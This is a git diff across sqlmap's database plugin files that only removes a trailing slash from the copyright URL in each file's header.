""" diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py index c5571460e1a..f5db18e2bfc 100644 --- a/plugins/dbms/mysql/__init__.py +++ b/plugins/dbms/mysql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index 35df21e1f79..0de2ce7d9bd 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py index 47bde92b8e7..e0204d8050e 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index f0053383cb7..34237d86db9 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 2f2b1a6e5b0..0785d9eb289 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index 885a2b56f5d..b1de06afbae 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index a08ce8ba0a5..6ea45a9a83e 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py index 61644297bdd..e469a13ee2a 100644 --- a/plugins/dbms/oracle/__init__.py +++ b/plugins/dbms/oracle/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 45a13ebd9cb..80a55089a57 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index faba433c87c..ded42b8fe28 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index 7cad10c54ad..d773626e676 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 9f59bc05da5..40c315ff90b 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 7868f5b1786..f769f7ec18d 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index 89b78d70919..35fc77d06af 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py index 65d39dcfc0b..f48771fe846 100644 --- a/plugins/dbms/postgresql/__init__.py +++ b/plugins/dbms/postgresql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index 32001d2c37a..2b22b29ff7f 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index 7e6153fa2ff..fb9eb8e4541 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index abb4f6e64cd..e94bff145a2 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 34ed00980cb..cadb749b7b9 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index d186ee980b1..f13477db0c5 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index e8350a2aaae..ba7c50ffe8e 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/__init__.py b/plugins/dbms/presto/__init__.py index f4beb61bd4c..f70b2e2411d 100644 --- a/plugins/dbms/presto/__init__.py +++ b/plugins/dbms/presto/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/connector.py b/plugins/dbms/presto/connector.py index 2ec254f6e05..01237722b74 100644 --- a/plugins/dbms/presto/connector.py +++ b/plugins/dbms/presto/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/enumeration.py b/plugins/dbms/presto/enumeration.py index 3ed67f520c4..87cdea6ee3a 100644 --- a/plugins/dbms/presto/enumeration.py +++ b/plugins/dbms/presto/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/filesystem.py b/plugins/dbms/presto/filesystem.py index c50392b6404..281d5b8384d 100644 --- a/plugins/dbms/presto/filesystem.py +++ b/plugins/dbms/presto/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/fingerprint.py b/plugins/dbms/presto/fingerprint.py index cb88d132e0e..82b7288b3b2 100644 --- a/plugins/dbms/presto/fingerprint.py +++ b/plugins/dbms/presto/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/syntax.py b/plugins/dbms/presto/syntax.py index 0cc46217cbd..e325d14061c 100644 --- a/plugins/dbms/presto/syntax.py +++ b/plugins/dbms/presto/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/takeover.py b/plugins/dbms/presto/takeover.py index b567968bfbb..d8c538eb993 100644 --- a/plugins/dbms/presto/takeover.py +++ b/plugins/dbms/presto/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/__init__.py b/plugins/dbms/raima/__init__.py index d343a32a700..d8013a084d3 100644 --- a/plugins/dbms/raima/__init__.py +++ b/plugins/dbms/raima/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/connector.py b/plugins/dbms/raima/connector.py index 914e8f1f4d1..2f16e62ac60 100644 --- a/plugins/dbms/raima/connector.py +++ b/plugins/dbms/raima/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/enumeration.py b/plugins/dbms/raima/enumeration.py index 349d359e2f8..1202be3211a 100644 --- a/plugins/dbms/raima/enumeration.py +++ b/plugins/dbms/raima/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/filesystem.py b/plugins/dbms/raima/filesystem.py index bd770801b36..af3b5fc0f56 100644 --- a/plugins/dbms/raima/filesystem.py +++ b/plugins/dbms/raima/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/fingerprint.py b/plugins/dbms/raima/fingerprint.py index 3cc9cb28d58..406f76aa05f 100644 --- a/plugins/dbms/raima/fingerprint.py +++ b/plugins/dbms/raima/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/syntax.py b/plugins/dbms/raima/syntax.py index cb568cae858..d6fd8e23beb 100644 --- a/plugins/dbms/raima/syntax.py +++ b/plugins/dbms/raima/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/takeover.py b/plugins/dbms/raima/takeover.py index 6dcf2614f24..04764480b59 100644 --- a/plugins/dbms/raima/takeover.py +++ b/plugins/dbms/raima/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py index 7cbd3b7e0e9..a250f53defa 100644 --- a/plugins/dbms/sqlite/__init__.py +++ b/plugins/dbms/sqlite/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index d8e81e30109..1ac104c6a9c 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index 60f64b4311f..12b305bb5c3 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index 6652085f2f9..0ed26c8aacb 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 7b5dfaf7afb..5f970ceaae4 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index 7c9e0d27bbd..19be6c6e931 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index 7c85ac7c751..4197b7ae644 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py index 6109f43c578..8aa999d023f 100644 --- a/plugins/dbms/sybase/__init__.py +++ b/plugins/dbms/sybase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index 60671a97585..089124f49ef 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index 1def1c2e32d..f9901bdde97 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index 1c0f29555bf..b69603897db 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index 21ba102a4ac..e0fc0eee970 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index a2998afcf62..a209d65e23a 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index af773709d65..9db9575cd27 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/__init__.py b/plugins/dbms/vertica/__init__.py index 854ff38f5a9..2358cb0fe33 100644 --- a/plugins/dbms/vertica/__init__.py +++ b/plugins/dbms/vertica/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/connector.py b/plugins/dbms/vertica/connector.py index 7cb89960f69..359e50c8817 100644 --- a/plugins/dbms/vertica/connector.py +++ b/plugins/dbms/vertica/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/enumeration.py b/plugins/dbms/vertica/enumeration.py index e8ff3d351cc..4068a6f4135 100644 --- a/plugins/dbms/vertica/enumeration.py +++ b/plugins/dbms/vertica/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/filesystem.py b/plugins/dbms/vertica/filesystem.py index 40cc82d477f..8c6cfda2daa 100644 --- a/plugins/dbms/vertica/filesystem.py +++ b/plugins/dbms/vertica/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/fingerprint.py b/plugins/dbms/vertica/fingerprint.py index e62fc572f99..a9e21469081 100644 --- a/plugins/dbms/vertica/fingerprint.py +++ b/plugins/dbms/vertica/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/syntax.py b/plugins/dbms/vertica/syntax.py index 526f3628d73..fc4b454bc0b 100644 --- a/plugins/dbms/vertica/syntax.py +++ b/plugins/dbms/vertica/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/vertica/takeover.py b/plugins/dbms/vertica/takeover.py index 0a057328570..f2425eae793 100644 --- a/plugins/dbms/vertica/takeover.py +++ b/plugins/dbms/vertica/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/__init__.py b/plugins/dbms/virtuoso/__init__.py index 54c08e97c27..f2aa7fd64d2 100644 --- a/plugins/dbms/virtuoso/__init__.py +++ b/plugins/dbms/virtuoso/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/connector.py b/plugins/dbms/virtuoso/connector.py index e58ff8abea0..b2149e81871 100644 --- a/plugins/dbms/virtuoso/connector.py +++ b/plugins/dbms/virtuoso/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/enumeration.py b/plugins/dbms/virtuoso/enumeration.py index 844c1e0b08e..f692e9fc686 100644 --- a/plugins/dbms/virtuoso/enumeration.py +++ b/plugins/dbms/virtuoso/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/filesystem.py b/plugins/dbms/virtuoso/filesystem.py index 6d38da0c1a1..5e27f18938c 100644 --- a/plugins/dbms/virtuoso/filesystem.py +++ b/plugins/dbms/virtuoso/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/fingerprint.py b/plugins/dbms/virtuoso/fingerprint.py index a91be678ce9..b0aecc497c6 100644 --- a/plugins/dbms/virtuoso/fingerprint.py +++ b/plugins/dbms/virtuoso/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/syntax.py b/plugins/dbms/virtuoso/syntax.py index 0cc46217cbd..e325d14061c 100644 --- a/plugins/dbms/virtuoso/syntax.py +++ b/plugins/dbms/virtuoso/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/takeover.py b/plugins/dbms/virtuoso/takeover.py index 0e3f680fe2b..ac322da41fc 100644 --- a/plugins/dbms/virtuoso/takeover.py +++ b/plugins/dbms/virtuoso/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/plugins/generic/__init__.py +++ b/plugins/generic/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index 8208497699c..1016975e03d 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index cb11959473b..af53071968c 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index f1c6d23d8b4..002d1f47561 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index a7861881ce5..1edab6fd360 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) 